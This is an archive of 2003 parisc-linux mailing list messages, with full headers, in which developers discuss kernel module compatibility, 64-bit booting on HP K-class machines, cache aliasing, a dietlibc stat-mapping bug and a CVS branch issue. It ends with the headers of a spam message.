User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030714 Debian/1.4-2
X-Accept-Language: en
In-Reply-To: <20030808150256.GX1873@lug-owl.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19144

Jan-Benedict Glaw wrote:

>On Fri, 2003-08-08 07:46:24 +0000, Joel Soete <joel.soete@tiscali.be>
>wrote in message <3F335550.3030804@tiscali.be>:
>  
>
>>geos@canada.com wrote:
>>    
>>
>
>  
>
>>But to load modules, they have to be build for the kernel you are 
>>running (I think that will change in 2.6). So the only  think to do now 
>>    
>>
>
>I'm quite sure that won't change, ever. Linux, if it's compatible to
>itself at all, has got "only" a source compatible API. You're somewhat
>on a more save side if you're using symbol versioning, but if you force
>a module to load (into a kernel of different version or even of
>different configuration), you may loose. Right now or sometime later:)
>
>That's what "tainting" was ment for:)
>
>MfG, JBG
>
>  
>
Sorry for this confuion I do have missunderstood some discussion on the 
subject, my bad :(

Thanks for those clarification,
    Joel



From - Thu Nov 08 21:28:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K360 with 64 bit kernel?
Date: Fri, 08 Aug 2003 19:44:36 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <3F33FDA4.604@tiscali.be>
References: <3F33E1F8.9030706@zacarias.com.ar>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622662 28939 80.91.229.3 (22 Nov 2014 02:17:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Gustavo Zacarias <gustavo@zacarias.com.ar>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  8 13:44:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id C6C68482D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Aug 2003 13:44:46 -0600 (MDT)
Original-Received: from [62.235.120.28] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19lDAC-0003wU-00; Fri, 08 Aug 2003 21:44:36 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030714 Debian/1.4-2
X-Accept-Language: en
In-Reply-To: <3F33E1F8.9030706@zacarias.com.ar>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19145

Gustavo Zacarias wrote:

>
> Hi.
> Has anyone managed to boot a K360 with a 64 bit kernel?
> The machine works just fine with a 32 bit one.
> The problem is the machine getting stuck just after the ncr53c8xxx 
> driver with a bunch of scsi timeouts. 

hmm could you launch a toc at this stage, after the reboot grab the 
piminfo and analyse it with dump_analayser.sh
(available http://cvs.parisc-linux.org/build-tools/ with a.c too)

Thanks,
    Joel




From - Thu Nov 08 21:28:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Todd <rtodd@antipentium.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K360 with 64 bit kernel?
Date: Fri, 08 Aug 2003 15:51:43 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <BB59778F.104%rtodd@antipentium.com>
References: <3F33FDA4.604@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622663 28944 80.91.229.3 (22 Nov 2014 02:17:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:43 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <joel.soete@tiscali.be>,
	Gustavo Zacarias <gustavo@zacarias.com.ar>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  8 13:51:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl093-249-128.chi3.dsl.speakeasy.net (dsl093-249-128.chi3.dsl.speakeasy.net [66.93.249.128])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9AEE3482D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Aug 2003 13:51:40 -0600 (MDT)
Original-Received: (qmail 26079 invoked by uid 64014); 8 Aug 2003 19:51:30 -0000
Original-Received: from rtodd@antipentium.com by adsl-068-017-114-226.sip.bna.bellsouth.net by uid 64011 with qmail-scanner-1.15 
 (clamscan: 0.54. spamassassin: 2.55.  Clear:SA:0(-2.0/8.0):. 
 Processed in 1.019968 secs); 08 Aug 2003 19:51:30 -0000
X-Spam-Status: No, hits=-2.0 required=8.0
Original-Received: from unknown (HELO ?10.0.1.2?) (rtodd@antipentium.com@68.32.188.79)
  by www.perkins-tripp.com with SMTP; 8 Aug 2003 19:51:29 -0000
User-Agent: Microsoft-Entourage/10.0.0.1309
In-Reply-To: <3F33FDA4.604@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19146

Gentoo is running fine in 64 bit on a few test boxes we have.
Irc.us.freenode.net #gentoo-hppa Gmsoft is the best source of help



On 8/8/03 3:44 PM, "Joel Soete" <joel.soete@tiscali.be> wrote:

> Gustavo Zacarias wrote:
> 
>> 
>> Hi.
>> Has anyone managed to boot a K360 with a 64 bit kernel?
>> The machine works just fine with a 32 bit one.
>> The problem is the machine getting stuck just after the ncr53c8xxx
>> driver with a bunch of scsi timeouts.
> 
> hmm could you launch a toc at this stage, after the reboot grab the
> piminfo and analyse it with dump_analayser.sh
> (available http://cvs.parisc-linux.org/build-tools/ with a.c too)
> 
> Thanks,
>   Joel
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:28:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gustavo Zacarias <gustavo@zacarias.com.ar>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K360 with 64 bit kernel?
Date: Fri, 08 Aug 2003 17:13:42 -0300
Lines: 13
Approved: news@gmane.org
Message-ID: <3F340476.2010708@zacarias.com.ar>
References: <BB59778F.104%rtodd@antipentium.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622663 28946 80.91.229.3 (22 Nov 2014 02:17:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  8 14:14:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from nuada.toptech.com.ar (nuada.toptech.com.ar [200.68.70.114])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0566E482D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Aug 2003 14:14:27 -0600 (MDT)
Original-Received: from zacarias.com.ar (imhotep.toptech.com.ar [200.68.70.115])
	(authenticated)
	by nuada.toptech.com.ar (8.11.6/8.11.6) with ESMTP id h78KELL17180
	for <parisc-linux@lists.parisc-linux.org>; Fri, 8 Aug 2003 17:14:21 -0300
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030805
X-Accept-Language: en-us, en
In-Reply-To: <BB59778F.104%rtodd@antipentium.com>
X-Enigmail-Version: 0.76.4.0
X-Enigmail-Supports: pgp-inline, pgp-mime
X-Spam-Status: No, hits=-6.5 required=6.0
	tests=BAYES_00,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,
	      REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_MOZILLA_UA
	autolearn=ham version=2.55
X-Spam-Checker-Version: SpamAssassin 2.55 (1.174.2.19-2003-05-19-exp)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19147

Richard Todd wrote:

> Gentoo is running fine in 64 bit on a few test boxes we have.
> Irc.us.freenode.net #gentoo-hppa Gmsoft is the best source of help

I'm running gentoo and talking with Gmsoft on irc also :)
Basically he has no clue on this, they didn't test much on K models.
And i forgot to mention that the debian netinst testing ISOs (PDC 
console of course) from parisc-linux.org also fail this way.
Mostly sounds like the zalon driver isn't 64 bit clean since the kernel 
just gets stuck without any kind of oops or anything.



From - Thu Nov 08 21:28:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Debian on rp 7400
Date: Fri, 08 Aug 2003 20:46:16 +0000
Lines: 62
Approved: news@gmane.org
Message-ID: <3F340C18.5020801__35398.76424843$1416622664$gmane$org@tiscali.be>
References: <25EEF58E-C82D-11D7-8F19-00039398B282@byu.edu> <20030806205220.GA6353@dsl2.external.hp.com> <3F336914.5020305@tiscali.be> <20030808163744.GA29158@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622664 28950 80.91.229.3 (22 Nov 2014 02:17:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:44 +0000 (UTC)
Cc: "Conan C. Albrecht" <conan_albrecht@byu.edu>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  8 14:46:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E285482D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Aug 2003 14:46:24 -0600 (MDT)
Original-Received: from [62.235.120.28] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19lE7w-0005xG-00; Fri, 08 Aug 2003 22:46:20 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030714 Debian/1.4-2
X-Accept-Language: en
In-Reply-To: <20030808163744.GA29158@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19148

Grant Grundler wrote:

>BTW, this discussion really belongs on parisc-linux.org mailing list.
>It's not specific to debian-hppa and is very kernel centric.
>
>On Fri, Aug 08, 2003 at 09:10:44AM +0000, Joel Soete wrote:
>  
>
>>>IIRC, "non-equivalently mapped aliases" 
>>>      
>>>
>
>  
>
>>Is there much more detailed public doc some where about this stuff?
>>    
>>
>
>sorry - I don't understand the problems well enough.
>The PA 2.0 arch book might describe the cache behaviors sufficiently
>to determine this will be a problem.
>
>  
>
>>>BTW< this topic has been thoroughly discussed on parisc-linux
>>>mailing list. See www.parisc-linux.org mailing list archives.
>>>      
>>>
>
>google search for
>	equivalent mapped [parisc-linux site:lists.parisc-linux.org]
>
>yielded the original thread from Jerry Huck:
>
>http://lists.parisc-linux.org/pipermail/parisc-linux/1999-December/008101.html
>
I see I was not yet in the list; at this very moment I was still battle 
to build a kernel from hpux and the first cd safe me :)

>
>I only partially understand what Jerry talking about and have no idea
>how linux VM implementation collides with the aliasing rules.
>
>
>Bjorn Helgaas posted a another thread two years later that might
>be more helpful since it's specific to superdome (AFAIK same problems
>as with N-class and L3000):
>
>http://lists.parisc-linux.org/pipermail/parisc-linux/2001-April/012388.html
>
>I didn't see any direct followup to Bjorn's mail in the archive though
>some discussion did occur in other forums (much later).
>
>  
>
Well better starting point I will gona check,

Thanks a lot,
    Joel




From - Thu Nov 08 21:28:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn.helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Debian on rp 7400
Date: Fri, 8 Aug 2003 16:40:52 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <200308081640.52355.bjorn.helgaas__27888.260925147$1416622664$gmane$org@hp.com>
References: <25EEF58E-C82D-11D7-8F19-00039398B282@byu.edu> <3F336914.5020305@tiscali.be> <20030808163744.GA29158@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622664 28953 80.91.229.3 (22 Nov 2014 02:17:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:44 +0000 (UTC)
Cc: "Conan C. Albrecht" <conan_albrecht@byu.edu>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Grant Grundler <grundler@parisc-linux.org>,
	Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  8 16:41:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AC21482D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Aug 2003 16:41:00 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1.fc.hp.com [15.15.136.127])
	by atlrel8.hp.com (Postfix) with ESMTP
	id 0B9C81C00FED; Fri,  8 Aug 2003 18:41:00 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id 1BCAA37E98; Fri,  8 Aug 2003 16:40:59 -0600 (MDT)
Original-Received: from eeyore.helgaas (lart.fc.hp.com [15.11.146.31])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 572F91340D5; Fri,  8 Aug 2003 16:40:52 -0600 (MDT)
User-Agent: KMail/1.5.2
In-Reply-To: <20030808163744.GA29158@dsl2.external.hp.com>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19149

On Friday 08 August 2003 10:37 am, Grant Grundler wrote:
> google search for
> 	equivalent mapped [parisc-linux site:lists.parisc-linux.org]
> 
> yielded the original thread from Jerry Huck:
> 
> http://lists.parisc-linux.org/pipermail/parisc-linux/1999-December/008101.html
> 
> I only partially understand what Jerry talking about and have no idea
> how linux VM implementation collides with the aliasing rules.
> 
> 
> Bjorn Helgaas posted a another thread two years later that might
> be more helpful since it's specific to superdome (AFAIK same problems
> as with N-class and L3000):
> 
> http://lists.parisc-linux.org/pipermail/parisc-linux/2001-April/012388.html

For archive crawlers, here's a link to Willy's idea for using kmap to
deal with this problem:

http://lists.parisc-linux.org/pipermail/parisc-linux/2002-March/015826.html



From - Thu Nov 08 21:28:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gerrit Pape <pape@smarden.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Bug#200619: gcc: parisc: compiling dietlibc-dev with -Os caus
Date: Sat, 9 Aug 2003 11:00:32 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20030809090032.16836.qmail__29044.2815669396$1416622664$gmane$org@h14f7d.mid.smarden.org>
References: <200307250308.h6P38ej6026594@hiauly1.hia.nrc.ca> <200307260221.h6Q2LRN3001246@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622664 28955 80.91.229.3 (22 Nov 2014 02:17:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:44 +0000 (UTC)
Cc: doko@cs.tu-berlin.de, 200619@bugs.debian.org,
	dave.anglin@nrc-cnrc.gc.ca, tausq@debian.org,
	parisc-linux@lists.parisc-linux.org, control@bugs.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug  9 03:00:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from woph.mbl.smarden.org (dsl-62-220-19-73.berlikomm.net [62.220.19.73])
	by dsl2.external.hp.com (Postfix) with SMTP id 0EA68483D
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Aug 2003 03:00:44 -0600 (MDT)
Original-Received: (qmail 16837 invoked by uid 501); 9 Aug 2003 09:00:32 -0000
Content-Disposition: inline
In-Reply-To: <200307260221.h6Q2LRN3001246@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19150

reassign 200619 dietlibc
retitle 200619 dietlibc: parisc: bad stat struct mapping
thanks

On Fri, Jul 25, 2003 at 10:21:26PM -0400, John David Anglin wrote:
> > At the fstat call we have the following values:
> > 
> > Breakpoint 11, 0x00010b10 in __stdio_init_file_nothreads ()
> 
> Carlos O'Donell and myself looked at this problem this afternoon.  This
> is a dietlib problem.  Dietlib is not using the correct kernel_stat
> mapping for parisc.  They appear to be using the i386 mapping.  They
> need to look at /libc/sysdeps/unix/sysv/linux/xstatconv.c and the
> hppa/kernel_stat.h header in glibc.

Yes, this seems to be the cause of the problems, and needs to be fixed
in the dietlibc.  Thanks a lot for your time looking into this, and your
valuable support.

Regards, Gerrit.


From - Thu Nov 08 21:28:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 -> 2.6 tree switch tomorrow
Date: Sat, 9 Aug 2003 17:39:31 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20030809163931.GD3169@parcelfarce.linux.theplanet.co.uk>
References: <20030806184826.GA11934@ldl.fc.hp.com> <20030807171149.B2A7A7306A@fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622664 28962 80.91.229.3 (22 Nov 2014 02:17:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:44 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: bame@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug  9 10:39:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 94F384856
	for <parisc-linux@parisc-linux.org>; Sat,  9 Aug 2003 10:39:32 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19lWkd-00008l-7O; Sat, 09 Aug 2003 17:39:31 +0100
Content-Disposition: inline
In-Reply-To: <20030807171149.B2A7A7306A@fc.hp.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19151

On Thu, Aug 07, 2003 at 11:11:48AM -0600, bame@hp.com wrote:
> The linux-2.6 tree is now ready for business and the linux-2.5 tree is
> frozen.  Tarball (which could be used to seed a CVS tree) and patch
> at the usual place:
> 
>     http://cvs.parisc-linux.org/download/linux-2.6/
> 
> FYI We are using a different CVS branch architecture which should be
> completely transparent most of the time.  I'll get a description of
> it out soon.

OK.  Some files were missing from the initial import, so I added them.

However, I can't get a linus branch out of it:

willy@palinux:~/merge$ cvs -Q co -rlinus linux-2.6
willy@palinux:~/merge$ find linux-2.6
linux-2.6
linux-2.6/CVS
linux-2.6/CVS/Root
linux-2.6/CVS/Repository
linux-2.6/CVS/Entries
linux-2.6/CVS/Tag
willy@palinux:~/merge$ cat linux-2.6/CVS/Tag 
Tlinus

I suspect this will hinder using cvs-import to add 2.6.0-test3.
Can you help?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Clinton Mcintyre" <xzqvcnb65@canada.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Parisc-linux,ultimate digitalcablefilter wozgda tej
Date: Sat, 09 Aug 2003 15:10:37 -0300
Lines: 32
Approved: news@gmane.org
Message-ID: <8p$99q84$65v$h$49ng-4bp$fj@r6hnrlcrf>
Reply-To: "Clinton Mcintyre" <xzqvcnb65@canada.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="90.FB162EB_9.9."
X-Trace: ger.gmane.org 1416622665 28965 80.91.229.3 (22 Nov 2014 02:17:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug  9 11:22:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (unknown [219.145.88.13])
	by dsl2.external.hp.com (Postfix) with SMTP id D3E4A4844
	for <parisc-linux@parisc-linux.org>; Sat,  9 Aug 2003 11:22:29 -0600 (MDT)
Original-Received: from [20.163.82.243]
	by 192.25.206.7 with ESMTP id <392449-99165>;
	Sat, 09 Aug 2003 15:10:37 -0300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
